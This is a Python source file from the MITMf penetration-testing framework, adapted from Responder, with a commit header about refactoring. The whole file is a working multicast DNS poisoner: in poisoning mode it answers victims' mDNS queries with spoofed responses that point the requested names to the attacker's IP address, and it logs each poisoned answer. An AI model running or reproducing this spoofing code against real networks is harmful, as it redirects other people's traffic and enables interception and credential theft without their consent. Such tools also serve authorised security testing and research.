MITMf/core/poisoners/MDNS.py
byt3bl33d3r fd9b79c617 first pass at refactoring:
directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes
2015-08-02 21:15:10 +02:00

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2.1 KiB
Python

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import socket
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from utils import *
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
# Poisoning Mode
else:
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
except Exception:
raise